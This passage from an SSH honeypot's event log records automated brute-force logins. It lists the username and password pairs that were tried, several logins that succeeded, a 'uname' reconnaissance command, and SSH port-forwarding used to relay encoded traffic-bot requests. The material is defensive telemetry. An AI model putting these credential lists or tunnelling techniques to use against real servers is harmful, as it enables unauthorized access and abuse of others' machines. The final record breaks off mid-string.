{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:09.163858Z","src_ip":"91.92.40.36","session":"a5c65a086b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:09.826786Z","src_ip":"91.92.40.36","session":"a5c65a086b75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"administrator","message":"login attempt [ubuntu/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:12.482956Z","src_ip":"91.92.40.36","session":"a5c65a086b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:14.496005Z","src_ip":"91.92.40.36","session":"a5c65a086b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18866,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6d930bdd93a","protocol":"ssh","message":"New connection: 91.92.40.36:18866 (159.203.135.109:22) [session: f6d930bdd93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:15.450224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:15.859257Z","src_ip":"91.92.40.36","session":"f6d930bdd93a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:15.862454Z","src_ip":"91.92.40.36","session":"f6d930bdd93a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@2024","message":"login attempt [admin/Admin@2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:18.097279Z","src_ip":"91.92.40.36","session":"f6d930bdd93a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:18.566808Z","src_ip":"91.92.40.36","session":"f6d930bdd93a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:18.569556Z","src_ip":"91.92.40.36","session":"f6d930bdd93a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:18.779877Z","src_ip":"91.92.40.36","session":"f6d930bdd93a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:18.784814Z","src_ip":"91.92.40.36","session":"f6d930bdd93a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22090,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab4f505c458a","protocol":"ssh","message":"New connection: 91.92.40.36:22090 (159.203.135.109:22) [session: ab4f505c458a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:23.522660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:23.743771Z","src_ip":"91.92.40.36","session":"ab4f505c458a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:23.747187Z","src_ip":"91.92.40.36","session":"ab4f505c458a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lianghaomin","password":"lianghaomin","message":"login attempt [lianghaomin/lianghaomin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:24.500999Z","src_ip":"91.92.40.36","session":"ab4f505c458a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:25.870685Z","src_ip":"91.92.40.36","session":"ab4f505c458a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48384,"dst_ip":"159.203.135.109","dst_port":22,"session":"837dfa27ef34","protocol":"ssh","message":"New connection: 91.92.40.36:48384 (159.203.135.109:22) [session: 837dfa27ef34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:29.806216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:30.437800Z","src_ip":"91.92.40.36","session":"837dfa27ef34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:30.441295Z","src_ip":"91.92.40.36","session":"837dfa27ef34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"logan","password":"logan","message":"login attempt [logan/logan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:33.491070Z","src_ip":"91.92.40.36","session":"837dfa27ef34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:35.372246Z","src_ip":"91.92.40.36","session":"837dfa27ef34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14206,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4712e8ef61c","protocol":"ssh","message":"New connection: 91.92.40.36:14206 (159.203.135.109:22) [session: d4712e8ef61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:36.848545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:37.670595Z","src_ip":"91.92.40.36","session":"d4712e8ef61c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:37.699689Z","src_ip":"91.92.40.36","session":"d4712e8ef61c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afisha","password":"afisha123","message":"login attempt [afisha/afisha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:43.003972Z","src_ip":"91.92.40.36","session":"d4712e8ef61c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14272,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c8d3e300198","protocol":"ssh","message":"New connection: 91.92.40.36:14272 (159.203.135.109:22) [session: 1c8d3e300198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:44.448325Z"}
{"eventid":"cowrie.session.closed","duration":37.07283854484558,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:44.611011Z","src_ip":"172.81.62.90","session":"d4678a2cdbb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:44.956342Z","src_ip":"91.92.40.36","session":"d4712e8ef61c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:45.479992Z","src_ip":"91.92.40.36","session":"1c8d3e300198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:45.483570Z","src_ip":"91.92.40.36","session":"1c8d3e300198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":57523,"dst_ip":"10.17.0.5","dst_port":22,"session":"d173428b6033","protocol":"ssh","message":"New connection: 113.164.152.20:57523 (10.17.0.5:22) [session: d173428b6033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:48.364487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:48.369272Z","src_ip":"113.164.152.20","session":"d173428b6033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:48.671307Z","src_ip":"113.164.152.20","session":"d173428b6033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!Q2w#E4r","message":"login attempt [ubuntu/!Q2w#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:49.894684Z","src_ip":"91.92.40.36","session":"1c8d3e300198","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:50.981363Z","src_ip":"113.164.152.20","session":"d173428b6033","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:51.640623Z","session":"d173428b6033","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:51.856648Z","session":"d173428b6033","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:52.261280Z","src_ip":"113.164.152.20","session":"d173428b6033","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.4 (KHTML, like Gecko) Version/9.1.2 Safari/601.2.4\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SUx1OTRLQFRnUGFAX1NSNg%3D%3DKI7uI8J35J%2FDor2NOFCjA0Lga3oKrI%2BCZbxj3FaobqUCEcrBNyveHwJ8QSqK7KB3xG0qYrxVSCgVhvrSBSsIzVa5lwdYbZH1zH3eGSqyv%2B%2BA5tTThNJwoqCIF0h%2BaFMDl7ZEJkP9nu00U9MijQRXp0RVL2suBDBeJjMIJ1b9nhp1TM75YFwrEjPHWa1NnY1%2BWmu2Hd%2FlIhulmzwiBw8sTa%2FkaX8ytfkAV%2B6sVe%2F%2FR851wt2GvOoyv7zCy7UhWd%2Fafv9P%2FcpWDCDw59i3cDLMP8Jnlm1fAtek7aDAKurGXe626ay%2FOAs881O8lxTmsm7R5%2F2AovIS%2F7eseiwdVe01NAHO2NrTk5Hy5elBJNG%2FoImBRGsHpKIe12OfwHSo8F3sw05n1l81MKNyFSyYsqadYcCMz%2FbQpK2SDcE4M1%2FRrDcnHfTOOXNa%2BIIexaIOkS0%2F6WTnOuCG5SPgYhm26myLwp%2FQPooGBYinwH1pjNyw9tsJ4rCY2q%2B%2Fg5vaQG8DF84bPIxH%2BY6mm5QW4W%2FrJWANGrQ6dptZl3qdAsCG4%2FdNgcGGv3hBeaHc8QoWQiVANEkqrrm6SF4yhT%2BA2WvYfEWsNTYmsjKE1VGJe11LRv2aSxG3AwuNKN3QUpMzx4hhflOObTkZjoQqCrNk5E2ukNKTtlUwTRz1kviw4yFRqyUE%2BjNLF28bTBQXSGqpHz5PahCzK%2BdrykKlAa2Fimy%2BqrOjCstjRTUdOzW6kG7M3kIN2rnRSRtt1VGFNTLsTBOKRpSMqSJMcGQLnQFeB8eBg8xk8LOU8r8FXJ%2F7lslnHfsNv9mtBUjwv5LEFw3zw5yAKVV7O9FSfpqZfMyfb2orbVx3pH98vkdKlBGNEHiBnpCjDi4%2Bz7oKAFtZcsJn0XMy0aHgGA%2ByUwBCjyUNNn8N9UdErcHDSppGTiNm%2FMq2hclwqJLKERP0wNWN0XlvP%2BrofC3PnTSl3iGgaGcXJnKm08gqNKM1z%2BtpahZZ0H9AdeU2rsRXGnauYybAxVqphHoO%2FalNahpTw15osuIEkiG5nDQU8G%2F1iPr1OPrNJ0RmGpy3NC5hMMVBeU%2FWxfFLbksHxhIp'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: 